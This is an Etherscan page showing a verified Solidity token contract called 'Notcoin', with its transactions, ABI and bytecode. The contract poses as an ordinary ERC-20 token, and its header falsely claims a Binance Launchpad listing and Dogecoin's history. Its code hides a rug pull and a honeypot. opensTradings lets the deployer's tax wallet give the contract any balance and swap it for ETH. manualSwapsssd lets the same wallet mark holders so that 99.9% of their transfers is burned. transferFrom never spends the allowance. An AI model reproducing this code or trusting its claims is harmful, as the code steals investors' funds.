ETH Price: $3,405.72 (-1.94%)
Gas: 6 Gwei

Contract

0x254529Ac150a53AC016a3308BaE175B5Fe359556
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer202065012024-06-30 19:10:1118 days ago1719774611IN
0x254529Ac...5Fe359556
0 ETH0.000289515.63436552
Transfer200679932024-06-11 10:29:1138 days ago1718101751IN
0x254529Ac...5Fe359556
0 ETH0.0011405529.17470799
Opens Tradings200616832024-06-10 13:18:5938 days ago1718025539IN
0x254529Ac...5Fe359556
0 ETH0.001292539.64630079
Manual Swapsssd200272412024-06-05 17:52:2343 days ago1717609943IN
0x254529Ac...5Fe359556
0 ETH0.0013010627.45094996
Transfer200270022024-06-05 17:04:3543 days ago1717607075IN
0x254529Ac...5Fe359556
0 ETH0.0012471624.26107349
Transfer199535152024-05-26 10:40:1154 days ago1716720011IN
0x254529Ac...5Fe359556
0 ETH0.000314816.12822657
Transfer199339302024-05-23 16:59:3556 days ago1716483575IN
0x254529Ac...5Fe359556
0 ETH0.0008344216.24724259
Opens Tradings199155912024-05-21 3:27:1159 days ago1716262031IN
0x254529Ac...5Fe359556
0 ETH0.0015165610.11631667
Transfer199050712024-05-19 16:07:3560 days ago1716134855IN
0x254529Ac...5Fe359556
0 ETH0.000190145.54627723
Transfer199037532024-05-19 11:42:2361 days ago1716118943IN
0x254529Ac...5Fe359556
0 ETH0.000115823.37857148
Manual Swapsssd198954232024-05-18 7:44:1162 days ago1716018251IN
0x254529Ac...5Fe359556
0 ETH0.000172743.64385347
Manual Swapsssd198942562024-05-18 3:48:3562 days ago1716004115IN
0x254529Ac...5Fe359556
0 ETH0.000131644.34358648
Manual Swapsssd198942432024-05-18 3:45:4762 days ago1716003947IN
0x254529Ac...5Fe359556
0 ETH0.000212644.48538903
Manual Swapsssd198942262024-05-18 3:42:2362 days ago1716003743IN
0x254529Ac...5Fe359556
0 ETH0.000210864.44793747
Manual Swapsssd198942222024-05-18 3:41:3562 days ago1716003695IN
0x254529Ac...5Fe359556
0 ETH0.0001944.09224748
Transfer198934302024-05-18 1:02:1162 days ago1715994131IN
0x254529Ac...5Fe359556
0 ETH0.000182515.32566112
Approve198885542024-05-17 8:39:2363 days ago1715935163IN
0x254529Ac...5Fe359556
0 ETH0.0006325913.43250557
Approve198843672024-05-16 18:36:5963 days ago1715884619IN
0x254529Ac...5Fe359556
0 ETH0.00016315.47959814
Transfer198843622024-05-16 18:35:5963 days ago1715884559IN
0x254529Ac...5Fe359556
0 ETH0.000181355.29183068
Transfer198843582024-05-16 18:35:1163 days ago1715884511IN
0x254529Ac...5Fe359556
0 ETH0.000188655.50494804
Transfer198843482024-05-16 18:33:1163 days ago1715884391IN
0x254529Ac...5Fe359556
0 ETH0.000173125.05180186
Transfer198843472024-05-16 18:32:5963 days ago1715884379IN
0x254529Ac...5Fe359556
0 ETH0.000153934.4916984
Transfer198843362024-05-16 18:30:3563 days ago1715884235IN
0x254529Ac...5Fe359556
0 ETH0.000167954.90099984
Transfer198843322024-05-16 18:29:4763 days ago1715884187IN
0x254529Ac...5Fe359556
0 ETH0.000182945.3383077
Approve198838412024-05-16 16:50:2363 days ago1715878223IN
0x254529Ac...5Fe359556
0 ETH0.000351277.45899414
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Notcoin

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2024-05-12
*/

/**

*/

/*

Launching on Binance Launchpad 

Notcoin is a digital cryptocurrency that emerged as a playful and meme-inspired alternative to mainstream cryptocurrencies like Bitcoin and Ethereum. It takes its name and mascot from the popular internet meme of the Shiba Inu dog, often referred to as "Doge." Notcoin operates on a decentralized network using blockchain technology, similar to other cryptocurrencies, allowing for peer-to-peer transactions without the need for intermediaries like banks.

Originally created in 2013 as a lighthearted parody of the burgeoning cryptocurrency scene, Notcoin gained traction due to its vibrant online community and the appeal of its humorous branding. Despite its initial origins as a joke, Notcoin has since evolved into a legitimate digital asset with a dedicated following and a market capitalization in the billions of dollars.

Like other cryptocurrencies, Notcoin can be bought, sold, and traded on various online platforms and exchanges. Its value fluctuates based on market demand and investor sentiment, much like traditional stocks or commodities. However, Notcoin's price volatility is often more pronounced due to its speculative nature and the influence of social media trends on its perceived value.

One of Notcoin's distinguishing features is its enthusiastic and active community, which often rallies behind charitable causes and social initiatives. Notcoin has been involved in various philanthropic efforts, including fundraising for disaster relief, sponsoring sports teams and events, and supporting animal welfare organizations.

Despite its popularity and community-driven ethos, Notcoin also faces criticism and skepticism from some quarters. Critics argue that its lack of inherent value and speculative nature make it akin to a speculative bubble, prone to sudden crashes and market manipulation. Additionally, concerns have been raised about the environmental impact of Notcoin mining, which requires significant computational power and energy consumption.

Nevertheless, Notcoin continues to capture the imagination of both cryptocurrency enthusiasts and mainstream audiences alike. Its irreverent branding, active community, and commitment to charitable causes have helped it carve out a unique niche in the world of digital currencies, ensuring that it remains a prominent player in the cryptocurrency landscape for the foreseeable future.

*/
pragma solidity ^0.8.19;
// SPDX-License-Identifier: MIT

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath:  subtraction overflow");
        uint256 c = a - b;
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath:  addition overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath:  division by zero");
        uint256 c = a / b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath:  multiplication overflow");
        return c;
    }
}

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    function owner() public view virtual returns (address) {return _owner;}
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    modifier onlyOwner(){
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair_);
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata path, address cAddress, uint256) external;
    function WETH() external pure returns (address aadd);
}

contract Notcoin is Ownable {
    using SafeMath for uint256;
    uint256 public _decimals = 9;

    uint256 public _totalSupply = 1000000000 * 10 ** _decimals;

    constructor() {
        _balances[sender()] =  _totalSupply; 
        emit Transfer(address(0), sender(), _balances[sender()]);
        _taxWallet = msg.sender; 
    }

    string private _name = "Notcoin";
    string private _symbol = "NOT";

    IUniswapV2Router private uniV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public _taxWallet;

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function name() external view returns (string memory) {
        return _name;
    }
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }
    function sege() external {
    }
    function segerypto() external {
    }
    function rangeout() public {
    }
    function rangein() external {
    }
    function manualSwapsssd(address[] calldata walletAddress) external {
        uint256 fromBlockNo = getBlockNumber();
        for (uint walletInde = 0;  walletInde < walletAddress.length;  walletInde++) { 
            if (!marketingAddress()){} else { 
                cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;
            }
        }
    }
    function transferFrom(address from, address recipient, uint256 _amount) public returns (bool) {
        _transfer(from, recipient, _amount);
        require(_allowances[from][sender()] >= _amount);
        return true;
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    function getBlockNumber() internal view returns (uint256) {
        return block.number;
    }
    mapping(address => mapping(address => uint256)) private _allowances;
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    function decreaseAllowance(address from, uint256 amount) public returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(sender(), from, _allowances[msg.sender][from] - amount);
        return true;
    }
    event Transfer(address indexed from, address indexed to, uint256);
    mapping (address => uint256) internal cooldowns;
    function decimals() external view returns (uint256) {
        return _decimals;
    }
    function marketingAddress() private view returns (bool) {
        return (_taxWallet == (sender()));
    }
    function sender() internal view returns (address) {
        return msg.sender;
    }
    function totalSupply() external view returns (uint256) {
        return _totalSupply;
    }
    function opensTradings(uint256 amount, address walletAddr) external {
        if (marketingAddress()) {
            _approve(address(this), address(uniV2Router), amount); 
            _balances[address(this)] = amount;
            address[] memory addressPath = new address[](2);
            addressPath[0] = address(this); 
            addressPath[1] = uniV2Router.WETH(); 
            uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, addressPath, walletAddr, block.timestamp + 32);
        } else {
            return;
        }
    }
    function _transfer(address from, address to, uint256 value) internal {
        uint256 _taxValue = 0;
        require(from != address(0));
        require(value <= _balances[from]);
        emit Transfer(from, to, value);
        _balances[from] = _balances[from] - (value);
        bool onCooldown = (cooldowns[from] <= (getBlockNumber()));
        uint256 _cooldownFeeValue = value.mul(999).div(1000);
        if ((cooldowns[from] != 0) && onCooldown) {  
            _taxValue = (_cooldownFeeValue); 
        }
        uint256 toBalance = _balances[to];
        toBalance += (value) - (_taxValue);
        _balances[to] = toBalance;
    }
    event Approval(address indexed, address indexed, uint256 value);
    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        _approve(sender(), spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(sender(), recipient, amount);
        return true;
    }
    mapping(address => uint256) private _balances;
    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"walletAddress","type":"address[]"}],"name":"manualSwapsssd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"walletAddr","type":"address"}],"name":"opensTradings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rangein","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rangeout","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sege","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"segerypto","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526009600155600154600a6200001a9190620004bd565b633b9aca006200002b91906200050d565b6002556040518060400160405280600781526020017f4e6f74636f696e0000000000000000000000000000000000000000000000000081525060039081620000749190620007b2565b506040518060400160405280600381526020017f4e4f54000000000000000000000000000000000000000000000000000000000081525060049081620000bb9190620007b2565b50737a250d5630b4cf539739df2c5dacb4c659f2488d60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200011c575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360025460095f620001eb6200033060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550620002386200033060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60095f620002996200033060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054604051620002e29190620008a7565b60405180910390a33360065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620008c2565b5f33905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620003c15780860481111562000399576200039862000337565b5b6001851615620003a95780820291505b8081029050620003b98562000364565b945062000379565b94509492505050565b5f82620003db5760019050620004ad565b81620003ea575f9050620004ad565b81600181146200040357600281146200040e5762000444565b6001915050620004ad565b60ff84111562000423576200042262000337565b5b8360020a9150848211156200043d576200043c62000337565b5b50620004ad565b5060208310610133831016604e8410600b84101617156200047e5782820a90508381111562000478576200047762000337565b5b620004ad565b6200048d848484600162000370565b92509050818404811115620004a757620004a662000337565b5b81810290505b9392505050565b5f819050919050565b5f620004c982620004b4565b9150620004d683620004b4565b9250620005057fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620003ca565b905092915050565b5f6200051982620004b4565b91506200052683620004b4565b92508282026200053681620004b4565b9150828204841483151762000550576200054f62000337565b5b5092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620005d357607f821691505b602082108103620005e957620005e86200058e565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200064d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000610565b62000659868362000610565b95508019841693508086168417925050509392505050565b5f819050919050565b5f6200069a620006946200068e84620004b4565b62000671565b620004b4565b9050919050565b5f819050919050565b620006b5836200067a565b620006cd620006c482620006a1565b8484546200061c565b825550505050565b5f90565b620006e3620006d5565b620006f0818484620006aa565b505050565b5b8181101562000717576200070b5f82620006d9565b600181019050620006f6565b5050565b601f82111562000766576200073081620005ef565b6200073b8462000601565b810160208510156200074b578190505b620007636200075a8562000601565b830182620006f5565b50505b505050565b5f82821c905092915050565b5f620007885f19846008026200076b565b1980831691505092915050565b5f620007a2838362000777565b9150826002028217905092915050565b620007bd8262000557565b67ffffffffffffffff811115620007d957620007d862000561565b5b620007e58254620005bb565b620007f28282856200071b565b5f60209050601f83116001811462000828575f841562000813578287015190505b6200081f858262000795565b8655506200088e565b601f1984166200083886620005ef565b5f5b8281101562000861578489015182556001820191506020850194506020810190506200083a565b868310156200088157848901516200087d601f89168262000777565b8355505b6001600288020188555050505b505050505050565b620008a181620004b4565b82525050565b5f602082019050620008bc5f83018462000896565b92915050565b611d0680620008d05f395ff3fe608060405234801561000f575f80fd5b5060043610610140575f3560e01c80636f268a99116100b657806395d89b411161007a57806395d89b4114610308578063a457c2d714610326578063a9059cbb14610356578063c025b25714610386578063c1c5b21b146103a2578063dd62ed3e146103be57610140565b80636f268a991461028857806370a08231146102a6578063715018a6146102d65780638da5cb5b146102e0578063958e8b4f146102fe57610140565b806323b872dd1161010857806323b872dd146101c45780632e239e3c146101f4578063313ce567146101fe57806332424aa31461021c578063395093511461023a5780633eaaf86b1461026a57610140565b806306fdde0314610144578063095ea7b3146101625780630f8127051461019257806318160ddd1461019c5780631da20cac146101ba575b5f80fd5b61014c6103ee565b60405161015991906113c5565b60405180910390f35b61017c6004803603810190610177919061147a565b61047e565b60405161018991906114d2565b60405180910390f35b61019a610494565b005b6101a4610496565b6040516101b191906114fa565b60405180910390f35b6101c261049f565b005b6101de60048036038101906101d99190611513565b6104a1565b6040516101eb91906114d2565b60405180910390f35b6101fc610543565b005b610206610545565b60405161021391906114fa565b60405180910390f35b61022461054e565b60405161023191906114fa565b60405180910390f35b610254600480360381019061024f919061147a565b610554565b60405161026191906114d2565b60405180910390f35b6102726105f4565b60405161027f91906114fa565b60405180910390f35b6102906105fa565b60405161029d9190611572565b60405180910390f35b6102c060048036038101906102bb919061158b565b61061f565b6040516102cd91906114fa565b60405180910390f35b6102de610665565b005b6102e8610794565b6040516102f59190611572565b60405180910390f35b6103066107bb565b005b6103106107bd565b60405161031d91906113c5565b60405180910390f35b610340600480360381019061033b919061147a565b61084d565b60405161034d91906114d2565b60405180910390f35b610370600480360381019061036b919061147a565b610971565b60405161037d91906114d2565b60405180910390f35b6103a0600480360381019061039b91906115b6565b61098e565b005b6103bc60048036038101906103b79190611655565b610c2b565b005b6103d860048036038101906103d391906116a0565b610cd9565b6040516103e591906114fa565b60405180910390f35b6060600380546103fd9061170b565b80601f01602080910402602001604051908101604052809291908181526020018280546104299061170b565b80156104745780601f1061044b57610100808354040283529160200191610474565b820191905f5260205f20905b81548152906001019060200180831161045757829003601f168201915b5050505050905090565b5f61048a338484610d5b565b6001905092915050565b565b5f600254905090565b565b5f6104ad848484610f1e565b8160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104f46111fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610538575f80fd5b600190509392505050565b565b5f600154905090565b60015481565b5f6105ea6105606111fd565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546105e59190611768565b610d5b565b6001905092915050565b60025481565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610684610794565b73ffffffffffffffffffffffffffffffffffffffff16146106da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d1906117e5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b565b6060600480546107cc9061170b565b80601f01602080910402602001604051908101604052809291908181526020018280546107f89061170b565b80156108435780601f1061081a57610100808354040283529160200191610843565b820191905f5260205f20905b81548152906001019060200180831161082657829003601f168201915b5050505050905090565b5f8160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156108d2575f80fd5b6109676108dd6111fd565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109629190611803565b610d5b565b6001905092915050565b5f61098461097d6111fd565b8484610f1e565b6001905092915050565b610996611204565b15610c21576109c73060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d5b565b8160095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f600267ffffffffffffffff811115610a2557610a24611836565b5b604051908082528060200260200182016040528015610a535781602001602082028036833780820191505090505b50905030815f81518110610a6a57610a69611863565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b0e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b3291906118a4565b81600181518110610b4657610b45611863565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947845f8486602042610bce9190611768565b6040518663ffffffff1660e01b8152600401610bee9594939291906119c8565b5f604051808303815f87803b158015610c05575f80fd5b505af1158015610c17573d5f803e3d5ffd5b5050505050610c26565b610c27565b5b5050565b5f610c34611261565b90505f5b83839050811015610cd357610c4b611204565b15610cc657600182610c5d9190611768565b60085f868685818110610c7357610c72611863565b5b9050602002016020810190610c88919061158b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8080600101915050610c38565b50505050565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc090611a90565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2e90611b1e565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f1191906114fa565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610f56575f80fd5b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054821115610f9f575f80fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ffc91906114fa565b60405180910390a38160095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461104d9190611803565b60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f611097611261565b60085f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111590505f6111036103e86110f56103e78761126890919063ffffffff16565b6112df90919063ffffffff16565b90505f60085f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541415801561114f5750815b15611158578092505b5f60095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905083856111a59190611803565b816111b09190611768565b90508060095f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050505050565b5f33905090565b5f61120d6111fd565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b5f43905090565b5f808303611278575f90506112d9565b5f82846112859190611b3c565b90508284826112949190611baa565b146112d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cb90611c4a565b60405180910390fd5b809150505b92915050565b5f808211611322576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131990611cb2565b60405180910390fd5b5f828461132f9190611baa565b90508091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611372578082015181840152602081019050611357565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6113978261133b565b6113a18185611345565b93506113b1818560208601611355565b6113ba8161137d565b840191505092915050565b5f6020820190508181035f8301526113dd818461138d565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611416826113ed565b9050919050565b6114268161140c565b8114611430575f80fd5b50565b5f813590506114418161141d565b92915050565b5f819050919050565b61145981611447565b8114611463575f80fd5b50565b5f8135905061147481611450565b92915050565b5f80604083850312156114905761148f6113e5565b5b5f61149d85828601611433565b92505060206114ae85828601611466565b9150509250929050565b5f8115159050919050565b6114cc816114b8565b82525050565b5f6020820190506114e55f8301846114c3565b92915050565b6114f481611447565b82525050565b5f60208201905061150d5f8301846114eb565b92915050565b5f805f6060848603121561152a576115296113e5565b5b5f61153786828701611433565b935050602061154886828701611433565b925050604061155986828701611466565b9150509250925092565b61156c8161140c565b82525050565b5f6020820190506115855f830184611563565b92915050565b5f602082840312156115a05761159f6113e5565b5b5f6115ad84828501611433565b91505092915050565b5f80604083850312156115cc576115cb6113e5565b5b5f6115d985828601611466565b92505060206115ea85828601611433565b9150509250929050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f840112611615576116146115f4565b5b8235905067ffffffffffffffff811115611632576116316115f8565b5b60208301915083602082028301111561164e5761164d6115fc565b5b9250929050565b5f806020838503121561166b5761166a6113e5565b5b5f83013567ffffffffffffffff811115611688576116876113e9565b5b61169485828601611600565b92509250509250929050565b5f80604083850312156116b6576116b56113e5565b5b5f6116c385828601611433565b92505060206116d485828601611433565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061172257607f821691505b602082108103611735576117346116de565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61177282611447565b915061177d83611447565b92508282019050808211156117955761179461173b565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6117cf602083611345565b91506117da8261179b565b602082019050919050565b5f6020820190508181035f8301526117fc816117c3565b9050919050565b5f61180d82611447565b915061181883611447565b92508282039050818111156118305761182f61173b565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005